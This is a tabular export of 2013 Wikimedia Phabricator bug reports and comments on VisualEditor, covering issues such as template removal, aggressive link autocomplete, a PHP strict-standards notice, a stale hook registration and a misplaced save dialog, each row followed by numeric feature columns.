244125,VisualEditor: Template gets removed without editing it,"* ""I can't reproduce"" ... the issue. :)",,,1376929139,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-xtlw6alcryg5gfvrdeqj,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.9166666666666666,"* ""I can't reproduce"" ... the issue. :)"
244114,VisualEditor: Template gets removed without editing it,"I can't reproduce but the infobox invocation has some garbage in it.

{{Interventions infobox |
  Name        = Post and core |
  Image       = |sesuiatu
  Caption     = |sasa
  ICD10       = |sasas
  ICD9        = |sasasasa
  MeshID      = D011176 |
  OPS301      = |sasas
  OtherCodes  = |sasa
}}",,,1376928153,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-xtlw6alcryg5gfvrdeqj,task_subcomment,,True,c1,3,True,,,7,,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,18.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,7.0,18.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.955223880597015,0.6417910447761194,"I can't reproduce but the infobox invocation has some garbage in it.

{{Interventions infobox |
  Name        = Post and core |
  Image       = |sesuiatu
  Caption     = |sasa
  ICD10       = |sasas
  ICD9        = |sasasasa
  MeshID      = D011176 |
  OPS301      = |sasas
  OtherCodes  = |sasa
}}"
244104,VisualEditor: Template gets removed without editing it,"Roan, thoughts? Selser issue?",,,1375934940,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xtlw6alcryg5gfvrdeqj,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.8571428571428571,"Roan, thoughts? Selser issue?"
54466,"VisualEditor: Fix violation of PHP strict standard (""Only variables should be passed by reference in VisualEditor/ApiVisualEditor.php on line 255"")","[error] PHP Strict Standards:  Only variables should be passed by reference in /srv/phase3/extensions/VisualEditor/ApiVisualEditor.php on line 255, referer: http://server/wiki/index.php/Sandbox?veaction=edit

--------------------------
**Version**: unspecified
**Severity**: trivial",Unbreak Now!,100.0,1375462680,1375469052.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-2czs2gshamoxbwaweocz,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.32,0.72,"[error] PHP Strict Standards:  Only variables should be passed by reference in /srv/phase3/extensions/VisualEditor/ApiVisualEditor.php on line 255, referer: URL

--------------------------
**Version**: unspecified
**Severity**: trivial"
235746,"VisualEditor: Fix violation of PHP strict standard (""Only variables should be passed by reference in VisualEditor/ApiVisualEditor.php on line 255"")",Now fixed in master. Sorry for the slip-up.,,,1375469052,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2czs2gshamoxbwaweocz,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9166666666666666,Now fixed in master. Sorry for the slip-up.
235742,"VisualEditor: Fix violation of PHP strict standard (""Only variables should be passed by reference in VisualEditor/ApiVisualEditor.php on line 255"")","Change 77362 merged by jenkins-bot:
Fix notice caused by not passing the WebRequest object by reference

https://gerrit.wikimedia.org/r/77362",,,1375468933,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2czs2gshamoxbwaweocz,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.590909090909091,0.9090909090909091,"Change 77362 merged by jenkins-bot:
Fix notice caused by not passing the WebRequest object by reference

GERRIT_URL"
235740,"VisualEditor: Fix violation of PHP strict standard (""Only variables should be passed by reference in VisualEditor/ApiVisualEditor.php on line 255"")","Change 77362 had a related patch set uploaded by Catrope:
Fix notice caused by not passing the WebRequest object by reference

https://gerrit.wikimedia.org/r/77362",,,1375468694,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2czs2gshamoxbwaweocz,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.72,0.92,"Change 77362 had a related patch set uploaded by Catrope:
Fix notice caused by not passing the WebRequest object by reference

GERRIT_URL"
54420,"VisualEditor: autocomplete for wikilinks ""aggressively"" chooses what to link","<<When I was trying to add a link to Classic XI, (didn't know it didn't exist) it repeatedly took the word ""Classic"" and continually tried to make the link go to Classical music. [...] --buffbills7701 19:42, 1 August 2013 (UTC)>>

I tested this as well with Vector on both Chrome and FF, on it.wiki with the word Lettera (which is an existing page), it keeps insisting that I must link to Letteratura instead. I tried a workaround and was able to get Lettere, but it ain't the same thing.
Thanks!

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1375391400,1375408346.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-q6smnzvqe6vc4eby67me,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.0,0.0,1.5,3.5,1.5,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,2.5,0.0,5.0,6.5,0.0,1.5,0.5,0.0,0.0,4.5,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.5,2.5,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,6.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,4.5,2.0,12.0,1.0,3.0,5.5,0.0,0.0,0.5,0.0,4.0,0.0,1.5,0.0,5.0,6.5,7.0,0.0,1.0,0.0,5.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,2.5,3.5514705882352944,0.75,"<<When I was trying to add a link to Classic XI, (didn't know it didn't exist) it repeatedly took the word ""Classic"" and continually tried to make the link go to Classical music. [...] --buffbills7701 19:42, 1 August 2013 (UTC)>>

I tested this as well with Vector on both Chrome and FF, on it.wiki with the word Lettera (which is an existing page), it keeps insisting that I must link to Letteratura instead. I tried a workaround and was able to get Lettere, but it ain't the same thing.
Thanks!

--------------------------
**Version**: unspecified
**Severity**: critical"
233184,"VisualEditor: autocomplete for wikilinks ""aggressively"" chooses what to link",Fixed and will be deployed tonight.,,,1375408346,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-q6smnzvqe6vc4eby67me,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Fixed and will be deployed tonight.
233177,"VisualEditor: autocomplete for wikilinks ""aggressively"" chooses what to link","Change 77264 merged by jenkins-bot:
Don't override link target input value while typing

https://gerrit.wikimedia.org/r/77264",,,1375408026,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-q6smnzvqe6vc4eby67me,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.4,1.0,"Change 77264 merged by jenkins-bot:
Don't override link target input value while typing

GERRIT_URL"
233170,"VisualEditor: autocomplete for wikilinks ""aggressively"" chooses what to link","Change 77264 had a related patch set uploaded by Trevor Parscal:
Don't override link target input value while typing

https://gerrit.wikimedia.org/r/77264",,,1375404594,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-q6smnzvqe6vc4eby67me,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.625,1.0,"Change 77264 had a related patch set uploaded by Trevor Parscal:
Don't override link target input value while typing

GERRIT_URL"
233163,"VisualEditor: autocomplete for wikilinks ""aggressively"" chooses what to link","I did not know this was a competition, so more from me as well! :p
The ""workaround"" is what I mentioned earlier, but it won't always work.
With it I managed to get ""Lettere"": it autocompleted to Letteratura, then I put the ""e"" after the first ""r"" and cut the rest. But, it did not work to get to ""Lettera"", which was my intended outcome. 
This also happens if I am interested in, say, ""Letteratura tedesca"": it won't appear in the drop down list, and I am not even allowed to write it. The only way to get there is writing ""letteraturatedesca"" instead, and adding the space later. This makes sense to VE! Thanks.",,,1375392847,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-q6smnzvqe6vc4eby67me,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.5,3.0,3.0,2.0,0.0,0.0,0.5,2.5,1.0,0.0,0.5,0.5,4.5,0.0,8.5,8.5,0.0,2.5,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,3.5,3.0,0.0,0.5,0.5,1.5,1.5,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,8.0,1.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.5,3.5,10.5,0.5,3.0,7.0,0.0,0.0,1.0,0.0,5.0,0.5,0.0,0.0,8.0,8.5,3.5,0.0,8.0,0.0,8.0,0.0,1.0,0.5,0.5,1.5,1.0,0.0,0.0,3.2960526315789473,0.6842105263157894,"I did not know this was a competition, so more from me as well! :p
The ""workaround"" is what I mentioned earlier, but it won't always work.
With it I managed to get ""Lettere"": it autocompleted to Letteratura, then I put the ""e"" after the first ""r"" and cut the rest. But, it did not work to get to ""Lettera"", which was my intended outcome. 
This also happens if I am interested in, say, ""Letteratura tedesca"": it won't appear in the drop down list, and I am not even allowed to write it. The only way to get there is writing ""letteraturatedesca"" instead, and adding the space later. This makes sense to VE! Thanks."
233158,"VisualEditor: autocomplete for wikilinks ""aggressively"" chooses what to link","I was 25 seconds too slow reporting Bug 52421, but I did include steps to reproduce:
1.Load a page in VE
2.Press ctrl+k to enter a link
3.Try to enter a link to [[Portable Network Graphics]], [[Classic (album)]] or
[[Thing (assembly)]].

I've also found a workaround - continue typing the link you want after it's suggestion, then select and delete what it inserted that you don't want.",,,1375392350,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-q6smnzvqe6vc4eby67me,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,3.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,10.0,1.0,3.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,6.0,3.350515463917526,0.6701030927835051,"I was 25 seconds too slow reporting Bug 52421, but I did include steps to reproduce:
1.Load a page in VE
2.Press ctrl+k to enter a link
3.Try to enter a link to [[Portable Network Graphics]], [[Classic (album)]] or
[[Thing (assembly)]].

I've also found a workaround - continue typing the link you want after it's suggestion, then select and delete what it inserted that you don't want."
233154,"VisualEditor: autocomplete for wikilinks ""aggressively"" chooses what to link",*** Bug 52421 has been marked as a duplicate of this bug. ***,,,1375391536,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-q6smnzvqe6vc4eby67me,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52421 has been marked as a duplicate of this bug. ***
54368,VisualEditor.php attempts to register a hook handler that was removed,"VisualEditor.php attempts to register a hook handler that was removed (summary credit goes to Ori)

stack: http://paste.tstarling.com/p/GuTJEM.html

Tim says:

> var_dump($wgHooks['BeforeWelcomeCreation']);
array(2) {
  [0]=>
  string(42) ""VisualEditorHooks::onBeforeWelcomeCreation""
  [1]=>
  string(44) ""GettingStartedHooks::onBeforeWelcomeCreation""
}

> print is_callable($wgHooks['BeforeWelcomeCreation'][0]);

> print is_callable($wgHooks['BeforeWelcomeCreation'][1]);
1

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1375331160,1375332474.0,PHID-USER-7ey733eainlhx5xqp4d3,False,,False,PHID-TASK-x7tgs2fyboki473gy3pu,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,14.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,5.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,5.0,4.467532467532467,0.5714285714285714,"VisualEditor.php attempts to register a hook handler that was removed (summary credit goes to Ori)

stack: URL

Tim says:

QUOTE
array(2) {
  [0]=>
  string(42) ""VisualEditorHooks::onBeforeWelcomeCreation""
  [1]=>
  string(44) ""GettingStartedHooks::onBeforeWelcomeCreation""
}

QUOTE

QUOTE
1

--------------------------
**Version**: unspecified
**Severity**: normal"
254987,VisualEditor.php attempts to register a hook handler that was removed,"I removed the BeforeWelcomeCreation handler in I8be6198a6 but not the statement in VisualEditor.php that registered it.

1.22wmf11 had not yet been updated to I8be6198a6, so it didn't need to be fixed. 1.22wmf12 did need a fix, but there was a merged change separating the deployed commit and my fix: change I1cd9e2bea. I didn't know if it was safe to deploy and no one from the VE team was around, so I created a cut a 'bug/52368' branch based on the deployed commit, cherry picked the fix on top, and synced that.

My apologies to the VisualEditor team and to the users that were affected.",,,1375332474,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-x7tgs2fyboki473gy3pu,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,2.0,2.5,1.5,1.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.5,3.0,0.5,4.5,9.0,0.0,1.5,0.0,0.0,0.0,8.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,13.5,1.5,0.0,0.0,0.5,0.0,1.0,0.0,0.5,1.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,8.5,4.0,7.0,2.0,4.0,10.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,5.5,9.0,3.0,0.0,1.5,0.0,5.5,0.0,1.0,2.5,0.0,0.5,0.0,0.0,0.0,4.045901639344263,0.710792349726776,"I removed the BeforeWelcomeCreation handler in I8be6198a6 but not the statement in VisualEditor.php that registered it.

1.22wmf11 had not yet been updated to I8be6198a6, so it didn't need to be fixed. 1.22wmf12 did need a fix, but there was a merged change separating the deployed commit and my fix: change I1cd9e2bea. I didn't know if it was safe to deploy and no one from the VE team was around, so I created a cut a 'bug/52368' branch based on the deployed commit, cherry picked the fix on top, and synced that.

My apologies to the VisualEditor team and to the users that were affected."
254979,VisualEditor.php attempts to register a hook handler that was removed,Ia4e2a7854b3a2a5cbbe4da,,,1375331403,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-x7tgs2fyboki473gy3pu,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,1.0,Ia4e2a7854b3a2a5cbbe4da
54317,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"Screenshot

Since the VE update tonight the save dialog is half out of the screen on FF 23/Win7, but sometimes only.

--------------------------
**Version**: unspecified
**Severity**: critical
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52326

**Attached**: {F11781}",Unbreak Now!,100.0,1375261620,1375312939.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-btjddhvc23db2mven5vt,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,19.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.296875,0.609375,"Screenshot

Since the VE update tonight the save dialog is half out of the screen on FF 23/Win7, but sometimes only.

--------------------------
**Version**: unspecified
**Severity**: critical
**See Also**:
URL

**Attached**: {F11781}"
252313,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,*** Bug 52328 has been marked as a duplicate of this bug. ***,,,1375312992,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52328 has been marked as a duplicate of this bug. ***
252309,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,This is fixed and being pushed live right now.,,,1375312939,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,This is fixed and being pushed live right now.
252305,VisualEditor: [Regression] Save dialog sometimes attaches to context menu toolbar instead of platform toolbar,"Change 76935 merged by jenkins-bot:
ve.ui.Toolbar: Emit position event on toolbar instead of surface

https://gerrit.wikimedia.org/r/76935",,,1375308246,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-btjddhvc23db2mven5vt,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3478260869565215,0.9565217391304348,"Change 76935 merged by jenkins-bot:
ve.ui.Toolbar: Emit position event on toolbar instead of surface

GERRIT_URL"
